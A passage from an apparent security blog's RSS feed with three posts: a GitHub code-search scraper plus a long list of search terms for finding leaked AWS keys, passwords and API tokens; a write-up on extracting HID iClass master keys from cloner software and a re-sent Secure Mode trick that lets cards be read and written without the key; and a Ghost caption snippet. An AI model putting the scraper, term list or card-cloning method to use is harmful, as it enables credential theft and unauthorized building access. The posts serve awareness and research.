The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
vagrant@debian-8:~$
</code></pre>
<p>You can pull arbitrary boxes from Hashicorp&apos;s atlas but you need to work out the URL syntax to pass to wget/curl/mech.</p>
<p>If you&apos;re interested run <code>pip install git+https://github.com/ColdHeat/mech.git</code> for the latest or <code>pip install mech</code> for what I last pushed to PyPi.</p>
<p>All in all, mech works for me and since you read this you&apos;re probably looking for something similar. However, I do wonder how complicated a Vagrant plugin that wraps <a href="https://www.vmware.com/support/ws55/doc/ws_learning_cli_vmrun.html">vmrun</a> is. Probably not worth $79 worth of your time though...</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[API Keys, API Keys everywhere]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>It&apos;s common knowledge that developers often leak sensitive information when they publish open source code.</p>
<p>A single mistake can accidentally leak out enough information for an attacker to infiltrate a company and tear it down from the inside out or <a href="http://vertis.io/2013/12/16/unauthorised-litecoin-mining.html">rack up huge bills in the name of</a></p>]]></description><link>https://blog.kchung.co/api-keys-api-keys-everywhere/</link><guid isPermaLink="false">605674d3f4c4b90001d02022</guid><category><![CDATA[api keys]]></category><category><![CDATA[github]]></category><category><![CDATA[scanning]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Sun, 09 Oct 2016 03:08:00 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>It&apos;s common knowledge that developers often leak sensitive information when they publish open source code.</p>
<p>A single mistake can accidentally leak out enough information for an attacker to infiltrate a company and tear it down from the inside out or <a href="http://vertis.io/2013/12/16/unauthorised-litecoin-mining.html">rack up huge bills in the name of mining bitcoin</a>. The concept of secret confidential information is very often lost on people in the name of ease.</p>
<p>By taking a simple script we can get a few AWS keys pretty quickly:</p>
<pre><code class="language-python">#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import time
from bs4 import BeautifulSoup

def github_login(username, password):
    s = requests.session()
    token = BeautifulSoup(s.get(&apos;https://github.com/login&apos;).text) \
        .select(&apos;input[name=authenticity_token]&apos;)[0][&apos;value&apos;]
    data = {
        &apos;commit&apos;:&apos;Sign in&apos;,
        &apos;utf8&apos;:&apos;&#x2713;&apos;,
        &apos;authenticity_token&apos;: token,
        &apos;login&apos;: username,
        &apos;password&apos;: password
    }
    s.post(&apos;https://github.com/session&apos;, data=data)
    return s

s = github_login(raw_input(&apos;username: &apos;), raw_input(&apos;password: &apos;))
search_terms = [x.strip() for x in open(&apos;search_terms.txt&apos;).readlines()]

for term in search_terms:
    with open(&apos;{}.txt&apos;.format(term.replace(&apos; &apos;, &apos;_&apos;)), &apos;w+&apos;) as f:
        for p in xrange(1, 101):
            print term
            soup = s.get(&apos;https://github.com/search?p={}&amp;q={}&amp;ref=searchresults&amp;type=Code&amp;utf8=&#x2713;&apos; \
                .format(p, term)).text
            soup = BeautifulSoup(soup)

            for i in soup.select(&apos;.code-list-item&apos;):
                data = i.get_text().encode(&apos;utf8&apos;)
                f.write(data)
                print data

            time.sleep(10)
</code></pre>
<p>This yielded about 60 AWS keys from one run. I presume over multiple iterations run over a few days or weeks I&apos;d get more.</p>
<p><img src="https://blog.kchung.co/content/images/2016/10/image.png" alt="Whether they work or don&apos;t I don&apos;t know, but definitely not a good sign" loading="lazy"></p>
<p>I used both my personal Github account and a throwaway that I created specifically for testing this and on both I received API keys and even usernames and passwords. I didn&apos;t test any of them since that would be mean and probably illegal but I do suspect that many of these keys have already been scooped up by a bot of some kind since this idea is very well known.</p>
<p><img src="https://blog.kchung.co/content/images/2016/10/gmail_password_distorted.png" alt="Github pls." loading="lazy"></p>
<p>Young developers and <a href="https://shubs.io/i-found-prezis-source-code/">even those already with jobs</a> need to understand the risks of open source software and how their online presence can compromise both their security and their employers.</p>
<p>But AWS keys are really only one kind of key that people will leak.</p>
<p>Here&apos;s a whole bunch of search terms that gave me results.</p>
<pre><code>filename:credentials aws_access_key_id
filename:credentials aws_secret_access_key
MONGODB_URI
MAILCHIMP_API
MAILGUN_API
MAILGUN_DOMAIN
SENDGRID_API_KEY
GMAIL_PASSWORD
REDIS_URL
REDISCLOUD_URL
SQLALCHEMY_DATABASE_URI
DATABASE_URL
FACEBOOK_APP_SECRET
GITHUB_KEY
GITHUB_SECRET
API_KEY
STRIPE_CONNECT_CLIENT_ID
STRIPE_CONNECT_SECRET_KEY
RECAPTCHA_PRIVATE_KEY
RECAPTCHA_SITE_KEY
MAP_API_KEY
mongolab.com
mlab.com
mongohq.com
amqp_url
INSTAGRAM_CLIENT_ID
FACEBOOK_ID
FACEBOOK_SECRET
FLICKR_API_KEY
bingAccKey
TMDB_API_KEY
SLACK_TOKEN
SLACK_WEBHOOK
SLACK_WEBHOOK_SECRET
SLACK_INCOMING_WEBHOOK_URL
FIREBASE_URL
FIREBASE_ROOM_KEY
GITHUB_USERNAME
GITHUB_OAUTH_TOKEN
TWILIO_TOKEN
MASHAPE_KEY
DOCKERCLOUD_APIKEY
redmine_token
REDMINE_API_KEY
GOOGLE_API_KEY
GOOGLE_CSE_ID
STATUS_CAKE_API
SPOTIFY_SECRET
KG_API_KEY
JIRA_USERNAME
JIRA_PASSWORD
WEATHER_API_KEY
HEROKU_API_KEY
SECRET_KEY_BASE
digitalocean_client
digitalocean_api
</code></pre>
<p>Unfortunately this is a problem that will likely never go away since it really only takes a single slip up for confidential information to get leaked.</p>
<p>Environment variables are the way forward of course but proper open source development isn&apos;t always discussed in educational scenarios and often times they&apos;re just ignored for small projects. I&apos;m guilty of this, we all are and it&apos;s hard to resist sometimes.</p>
<p>I&apos;m not entirely sure why Github doesn&apos;t protect against this since it&apos;s fairly easy to identify these kinds of searches and lock the user out or not provide search results. Even if the bots were to change their search queries, Github should be able to see the new searches and change their restrictions.</p>
<p>When I started this, I originally used a completely unauthenticated script and got the original set of AWS keys pictured. But upon revisiting the script I noticed that unauthenticated users could not search so I modified the script to use a throwaway account and I still received plenty of keys.</p>
<p>In my opinion, Github has the opportunity to prevent this abuse but doesn&apos;t seem to be doing much about it. I could be mistaken and I could just have text files of nothing but bogus API keys but it doesn&apos;t seem likely...</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Reverse Engineering HID iClass Master Keys]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>The HID iClass line of proximity cards and readers is a widely deployed RFID system that&apos;s been poked full of holes by security researchers. The system boasts a higher level of security through encryption and mutual authentication.</p>
<p>But neither of these defenses mean much when the master authentication</p>]]></description><link>https://blog.kchung.co/reverse-engineering-hid-iclass-master-keys/</link><guid isPermaLink="false">605674d3f4c4b90001d0201e</guid><category><![CDATA[rfid]]></category><category><![CDATA[hacking]]></category><category><![CDATA[HID iClass]]></category><category><![CDATA[reverse engineering]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Sun, 12 Jun 2016 03:59:00 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>The HID iClass line of proximity cards and readers is a widely deployed RFID system that&apos;s been poked full of holes by security researchers. The system boasts a higher level of security through encryption and mutual authentication.</p>
<p>But neither of these defenses mean much when the master authentication key used by every standard iClass reader is retrievable by a moderately technical individual.</p>
<p>The authentication key is highly sensitive as it allows one to read decrypted card content and also overwrite card content. This effectively means that an attacker with possession of the authentication key is capable of cloning HID iClass cards and changing configuration settings on the physical reader itself.</p>
<hr>
<h1 id="gettingthekeys">Getting the Keys</h1>
<p>The original approach for gaining the HID master key was disclosed in a paper entitled <a href="http://www.openpcd.org/images/HID-iCLASS-security.pdf">Heart of Darkness - exploring the uncharted<br>
backwaters of HID iCLASS&#x2122; security</a>. This method takes advantage of a vulnerability in a specific line of readers released by HID which expose 6 debug pins on the rear of the reader. The Heart of Darkness approach entails leveraging those debug pins to modify the on-board firmware of two vulnerable readers. By modifying the firmwares, the readers each dump one half of the complete firmware image. The two halves can be stitched together to create a full firmware image which can be used to re-flash the two sacrificial readers.</p>
<p>The most commonly exploited reader is the HID RW300 Rev A, but you can use an RW300, RW400, RWK400, R30, R40, or RK40. The only caveat is that it must be Revision A. Revision B or C <em>will not work</em>. These are fairly hard to come by, but if you monitor Ebay or keep a watchful eye on Google, you could get lucky.</p>
<p><img src="https://blog.kchung.co/content/images/2016/06/amazon_iclass.png" alt="It took me 20 mins while writing this blog post to find this" loading="lazy"></p>
<p>If you want to replicate the Heart of Darkness method, you will be looking for two of these model numbers:</p>
<ul>
<li>6110A (R30)</li>
<li>6111A (RW300)</li>
<li>6120A (R40)</li>
<li>6121A (RW400)</li>
<li>6130A (RK40)</li>
<li>6131A (RWK400)</li>
</ul>
<p>In addition, there exists an alternative technique pioneered by <a href="http://www.proxclone.com/pdfs/iClass_Key_Extraction.pdf">proxclone.com</a> and <a href="http://blog.opensecurityresearch.com/2012/11/dumping-iclass-keys.html">Brad Antoniewicz</a> which dumps the memory of only one reader. While this technique seems much easier and less expensive, it&apos;s been very difficult to replicate by myself and <a href="https://penturalabs.wordpress.com/2014/03/17/iclass-is-not-enough/">others</a>.</p>
<p>But if you want to avoid buying a vulnerable reader altogether, I&apos;ll be outlining a technique for reverse engineering the master keys from released software, and also reading and writing HID iClass cards without needing the master key.</p>
<p>At some point, I received a copy of <a href="http://www.xfpga.com/html_products/iclass-card-cloner-en-82.html">chinese software used to clone iClass cards</a> after gaining the master key in a more conventional way. Despite already having the master key, this application presented an interesting challenge.</p>
<p>For one thing, the application could only be run if the manufacturer provided USB dongle was attached to the computer. Not only is this annoying, but it also adds to the suspiciousness of the software.</p>
<p>Unfortunately, I don&apos;t have a picture of the dongle and no longer have it in my possession, but it&apos;s a rather suspicious looking PCB encased in blue translucent plastic. It emulated an HID device of some kind which <a href="http://hakshop.myshopify.com/products/usb-rubber-ducky-deluxe?variant=353378649">also added to its suspiciousness</a>.</p>
<p>Obviously, it would be prudent to run the software in a Virtual Machine (VM) in order to limit the impact it could have on your system. But you&apos;ll soon discover that the first hurdle to bypass is virtual machine detection being used in the application.</p>
<p><img src="https://blog.kchung.co/content/images/2016/06/no_virtual_machine.png" alt="Virtual machine detection is super easy" loading="lazy"></p>
<p>Many applications that wish to resist the efforts of a reverse engineer will attempt to detect if they are currently in a virtual machine. Often times this is done by detecting features of a VM. In this case, one can disable querying the VMWare Tools version by adding the following line to the virtual machine&apos;s vmx file:</p>
<p><code>isolation.tools.getVersion.disable = &quot;TRUE&quot;</code></p>
<p>This breaks most if not all of the functionality of VMWare Tools so there&apos;s likely not much difference between uninstalling it and adding the config value. It&apos;s also likely that the application did not detect VirtualBox&#x2019;s Guest Additions but this is untested.</p>
<p>Once the application ran in the VM, we could use USB passthrough to connect the USB dongle to the VM and utilize the program&apos;s functionality. But, attempting to run the application in a debugger led to the discovery that the application also detected debuggers.</p>
<p><img src="https://blog.kchung.co/content/images/2016/06/no_debugger.png" alt="Debugger detection is a little harder" loading="lazy"></p>
<p>Being a fool, I initially misconfigured <a href="https://bitbucket.org/NtQuery/scyllahide/overview">ScyllaHide</a> which led me to believe that the application resisted debugging in a very novel way.</p>
<p>While you can debug the application using ScyllaHide&apos;s Obsidian profile, making much progress with the application is difficult, as the binary is packed with some unknown packer. Instead of suffering with an unruly application, I opted for a less aggressive method than hiding the debugger.</p>
<p>Released by Brendan Dolan-Gavitt, the <a href="https://github.com/moyix/panda">PANDA</a> tool allows for the recording and replaying of an entire virtual machine. This allows for the moderately easy dynamic analysis of an operating system or application.</p>
<p>Building PANDA is reasonably easy and instructions can be found on its <a href="https://github.com/moyix/panda/blob/master/docs/manual.md#quickstart">wiki</a>. I won&apos;t be covering the setup for PANDA, as <a href="https://www.proteansec.com/malware-analysis/next-generation-dynamic-analysis-with-panda/">other locations cover it in far more detail than I could</a>.</p>
<p>I chose to create a Windows XP image, but there shouldn&apos;t be too much difference between other operating systems. So long as the application will run, the image is suitable.</p>
<p>By using PANDA&apos;s <a href="https://github.com/moyix/panda/blob/master/qemu/panda_plugins/memsavep/USAGE.md">memsavep plugin</a>, one can dump the memory of the PANDA virtual machine at a specified point in time. By feeding this memory dump to Volatility, we can then extract a copy of the binary that&apos;s been loaded into memory. This binary would have gone through the unpacking process and it would be reasonable to assume that it&#x2019;s easier to reverse engineer.</p>
<pre><code>user@ubuntu:~/Desktop/panda/qemu/i386-softmmu$ sudo ./qemu-system-i386 \
-m 256 -replay iclass_cloner -display none --monitor stdio \
-net nic,model=rtl8139 -panda memsavep:percent=95,file=iclass.dd
Adding PANDA arg memsavep:percent=95.
Adding PANDA arg memsavep:file=iclass.dd.
adding panda/qemu/i386-softmmu/panda_plugins/panda_memsavep.so to panda_plugin_files 0
loading panda/qemu/i386-softmmu/panda_plugins/panda_memsavep.so
Success
Warning: vlan 0 is not connected to host network
QEMU 1.0,1 monitor - type &apos;help&apos; for more information
(qemu) loading snapshot
Unknown savevm section or instance &apos;slirp&apos; 0
Unknown savevm section or instance &apos;0000:00:01.2/uhci&apos; 0
Unknown savevm section or instance &apos;1/usb-host&apos; 0
... done.
opening nondet log for read :   ./iclass_cloner-rr-nondet.log
iclass_cloner:    26118544 (  1.01%) instrs.    2.07 sec.  0.17 GB ram.
total_instr in replay: 2596690768
iclass_cloner:    56523437 (  2.18%) instrs.    3.20 sec.  0.20 GB ram.
iclass_cloner:    82856733 (  3.19%) instrs.    3.79 sec.  0.21 GB ram.
iclass_cloner:   106148319 (  4.09%) instrs.    4.09 sec.  0.21 GB ram.
iclass_cloner:   131014501 (  5.05%) instrs.    4.39 sec.  0.21 GB ram.
iclass_cloner:   155877170 (  6.00%) instrs.    5.02 sec.  0.22 GB ram.
iclass_cloner:   184977773 (  7.12%) instrs.    5.33 sec.  0.22 GB ram.
iclass_cloner:   208278260 (  8.02%) instrs.    5.77 sec.  0.22 GB ram.
iclass_cloner:   235690436 (  9.08%) instrs.    6.11 sec.  0.22 GB ram.
iclass_cloner:   262590380 ( 10.11%) instrs.    6.43 sec.  0.22 GB ram.
...omitted for brevity...
iclass_cloner:  2214259222 ( 85.27%) instrs.   33.52 sec.  0.23 GB ram.
iclass_cloner:  2237487850 ( 86.17%) instrs.   33.67 sec.  0.23 GB ram.
iclass_cloner:  2263666800 ( 87.18%) instrs.   33.88 sec.  0.23 GB ram.
iclass_cloner:  2289252184 ( 88.16%) instrs.   34.01 sec.  0.23 GB ram.
iclass_cloner:  2315753999 ( 89.18%) instrs.   34.20 sec.  0.23 GB ram.
iclass_cloner:  2337023256 ( 90.00%) instrs.   34.40 sec.  0.23 GB ram.
iclass_cloner:  2364365127 ( 91.05%) instrs.   34.90 sec.  0.23 GB ram.
iclass_cloner:  2389479880 ( 92.02%) instrs.   35.45 sec.  0.24 GB ram.
iclass_cloner:  2415390500 ( 93.02%) instrs.   36.17 sec.  0.24 GB ram.
iclass_cloner:  2442065576 ( 94.05%) instrs.   37.34 sec.  0.25 GB ram.
memsavep: Saving memory to iclass.dd.
iclass_cloner:  2468716146 ( 95.07%) instrs.   38.21 sec.  0.26 GB ram.
Replay completed successfully. 1
Time taken was: 41 seconds.
max_queue_len = 5889
5888 items on recycle list, 518144 bytes total
Replay terminated at user request.
</code></pre>
<p>Technically, PANDA isn&apos;t really needed here as ScyllaHide and x64dbg allow us to bypass the application&apos;s anti-debugging and also dump application memory at runtime. But I initially could not run the application in a debugger and PANDA is an amazingly cool project that also allowed me to capture the USB dongle information for future analysis.</p>
<p>Now that we have a copy of memory <em>presumably</em> with a copy of the unpacked binary, we can use Volatility&apos;s <code>procdump</code> command to extract the program out of the RAM dump:</p>
<pre><code>user@ubuntu:~/Desktop/iclass_cloner-rr/volatility$ python vol.py -f ../iclass.dd \
--profile=WinXPSP2x86 procdump -D dump/ --unsafe
Volatility Foundation Volatility Framework 2.5
Process(V) ImageBase  Name                 Result
---------- ---------- -------------------- ------
0x817cca00 ---------- System               Error: PEB at 0x0 is unavailable
0x816e6020 0x48580000 smss.exe             OK: executable.312.exe
0x815e4da0 0x4a680000 csrss.exe            OK: executable.392.exe
0x81660da0 0x01000000 winlogon.exe         OK: executable.496.exe
0x81667da0 0x01000000 services.exe         OK: executable.540.exe
0x815e3020 0x01000000 lsass.exe            Error: ImageBaseAddress at 0x1000000 is unavailable
0x815e1020 0x01000000 svchost.exe          OK: executable.708.exe
0x816804f8 0x01000000 svchost.exe          OK: executable.756.exe
0x815f1560 0x01000000 svchost.exe          OK: executable.852.exe
0x815f44b8 0x01000000 svchost.exe          OK: executable.972.exe
0x8164e280 0x01000000 svchost.exe          OK: executable.1012.exe
0x81540020 0x01000000 explorer.exe         OK: executable.1212.exe
0x8167ac10 0x01000000 spoolsv.exe          OK: executable.1304.exe
0x81607980 0x01000000 alg.exe              OK: executable.1916.exe
0x816744b8 0x01000000 wscntfy.exe          OK: executable.1948.exe
0x81658448 0x00400000 wuauclt.exe          OK: executable.464.exe
0x814d7020 0x00400000 iClass Cloner 3      OK: executable.948.exe
</code></pre>
<p>Once a copy of the unpacked binary has been generated (executable.948.exe), we can do some light reverse engineering (string search) to identify the master key.</p>
<p><img src="https://blog.kchung.co/content/images/2016/06/binja.png" alt="The extracted key (censored for my protection)" loading="lazy"></p>
<p>All of a sudden it seems way easier to just buy this Chinese software and extract the keys from memory! No fiddling with finicky bit-banging, having multiple vulnerable readers, or having a solid background in electrical engineering.</p>
<p>But alas, it is even easier to gain the master key as it was leaked online before I even began this research. I won&apos;t share where it is, but maybe you should go looking!</p>
<hr>
<h1 id="throwingawaythekeys">Throwing away the keys</h1>
<p>While researching the HID iClass system and reading the proxmark forums, a few ideas became apparent:</p>
<ul>
<li>Very little specific information is available to reproduce the work of the higher up proxmark forum members, but a large amount of documentation is available from HID. Reading through this documentation is critical to getting anywhere with the systems.</li>
<li>Some of this information has been purged from the internet by HID. Some of it can be recovered by asking the right people, and some I have been unable to find.</li>
<li>A large amount of code released is based on code released by HID or the <a href="http://www.proxmark.org/files/Various%20Software/iClass/iclassified.tar.gz">iclassified library</a> released by the authors of <a href="https://www.usenix.org/legacy/event/woot11/tech/final_files/Garcia.pdf">Exposing iClass Key Diversification</a>.</li>
<li>A user <a href="http://www.proxmark.org/forum/viewtopic.php?id=1675">purports to be able to write cards without needing access to the HID master key</a>.</li>
</ul>
<p>Obviously, being able to achieve all of this without the master key is desirable. You would no longer need to purchase vulnerable readers to get the ability to modify or clone iClass cards.</p>
<p>According to the <a href="https://www.hidglobal.com/sites/default/files/resource_files/5321-903_b.4_omnikey_contactless_developer_guide_en.pdf">iClass developer&apos;s documentation</a>, it should not be possible to perform this without knowing the master key. Nonetheless, in a true testament to the insecurity of the HID iClass system, simple modifications to the iclassified example code allow a user to read and write to an iClass card without the master key.</p>
<p>The iclassified example code initializes what&apos;s known as Secure Mode and then proceeds to authenticate to the card. But, if after authentication, you were to issue the command to initialize Secure Mode <strong>AGAIN</strong>, you gain full read and write permissions to the card!</p>
<p>A modified version of the iclassified example code, full build instructions, drivers, and a GUI application to read and write iClass cards without using the master key is provided on <a href="https://github.com/ColdHeat/iclass">Github</a>.</p>
<p>In order to read and write to cards, you will, at the minimum, need a reader/writer. The simplest way to get one is to get a reader/writer from the HID OMNIKEY line. Either the HID OMNIKEY 5321 or 6321 will work and both are fairly cheap at around $50. The model number does not matter very much, contrary to what you may think. I used an HID OMNIKEY 6321 CLi and an HID OMNIKEY 5321 v2 CLi.</p>
<p>To build the software you want to start off by downloading the <a href="https://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download">MinGW installer assistant</a>. Install it and select:</p>
<ul>
<li>mingw-developer-toolkit</li>
<li>mingw32-gcc-g++</li>
<li>msys-base</li>
</ul>
<p>It should look something like this:</p>
<p><img src="https://blog.kchung.co/content/images/2016/06/mingw.png" alt="This was confusing but it was easier than most things in Windows..." loading="lazy"></p>
<p>Then go to <code>Installation &gt; Apply Changes</code> on the menu bar to install part of your build environment.</p>
<p>Now go to <code>C:\MinGW\msys\1.0</code> and copy everything over to <code>C:\MinGW</code>.</p>
<p><img src="https://blog.kchung.co/content/images/2016/06/copying.png" alt="Your MinGW folder should look like this" loading="lazy"></p>
<p>Open the <code>msys.bat</code> file to get a small shell environment. Clone the provided source code into the home folder, go into the <code>iclassified</code> directory, and run <code>make</code>.</p>
<p>If everything runs well you should get <code>iclass.exe</code> and <code>iclassified.o</code></p>
<p>At this point you should plug in your OMNIKEY reader and follow the instructions provided alongside <a href="http://www.proxmark.org/files/Various%20Hardware/OMNIKEY%205x21/OMNIKESY5x21_V1_2_0_14.exe">the drivers</a> to get the reader setup.</p>
<p>If all goes well you should be able to execute <code>iclass.exe read</code> to read a card and <code>iclass.exe write</code> to write to a card.</p>
<p><img src="https://blog.kchung.co/content/images/2016/06/writing.png" alt="Then you can read and write HID iClass cards without a master key!" loading="lazy"></p>
<p>Thanks to Carl, Brad Antoniewicz, Fran Brown, Brendan Dolan-Gavitt, and Evan Jensen.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Adding image captions to Ghost]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>For some reason Ghost doesn&apos;t support image captions by default. Lots of Jekyll themes and Medium both support image captions out of the box. Not sure what the reasoning is since it&apos;s fairly easy to use JavaScript to create the image captions and a modification to</p>]]></description><link>https://blog.kchung.co/adding-image-captions-to-ghost/</link><guid isPermaLink="false">605674d3f4c4b90001d0201d</guid><category><![CDATA[image captions]]></category><category><![CDATA[Ghost]]></category><category><![CDATA[themes]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Mon, 06 Jun 2016 00:34:08 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>For some reason Ghost doesn&apos;t support image captions by default. Lots of Jekyll themes and Medium both support image captions out of the box. Not sure what the reasoning is since it&apos;s fairly easy to use JavaScript to create the image captions and a modification to the Casper theme is definitely not out of the question.</p>
<p>The open source <a href="https://github.com/starburst1977/chiara/blob/73ab1f3097db792a2dd2ffd2ae54ca079039785e/assets/js/index.js#L19-L25">Chiara theme</a>, has a small JavaScript snippet which will add a caption to all of the images with alt text specified.</p>
<pre><code class="language-markdown">![alt text][image]
</code></pre>
<p>Copy the following snippet into the <code>Blog Footer</code> form of the <code>Code Injection</code> entry in your Ghost installation:</p>
<pre><code class="language-html">&lt;script&gt;
    // Creates Captions from Alt tags
    $(&quot;.post-content img&quot;).each(
        function() {
            // Let&apos;s put a caption if there is one
            if ($(this).attr(&quot;alt&quot;)) {
                $(this).wrap(
                    &apos;&lt;figure class=&quot;image&quot;&gt;&lt;/figure&gt;&apos;
                ).after(
                    &apos;&lt;figcaption&gt;&apos; +
                    $(this).attr(
                        &quot;alt&quot;) +
                    &apos;&lt;/figcaption&gt;&apos;
                );
            }
        });
&lt;/script&gt;
</code></pre>
<p>Then you want to add the following CSS snippet to the <code>Blog Header</code> section:</p>
<pre><code class="language-html">&lt;style&gt;
.post .post-content figcaption {
    font-weight: 400;
    font-style: italic;
    font-size: 16px;
    line-height: 1.3;
    color: #666665;
    outline: 0;
    z-index: 300;
    text-align: center;
}
&lt;/style&gt;  
</code></pre>
<p>It should look a little something like this:</p>
<p><img src="https://blog.kchung.co/content/images/2016/06/Screen-Shot-2016-06-05-at-8-24-55-PM.png" alt="This caption is an example of what it might look like" loading="lazy"></p>
<p>Now if you save everything, your blog should have freshly cut image captions. Of course this isn&apos;t done on the server side so there could be some slight lag in processing but it should be fairly unnoticeable.</p>
<p>Hopefully the Ghost team comes through with actual image captions soon.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>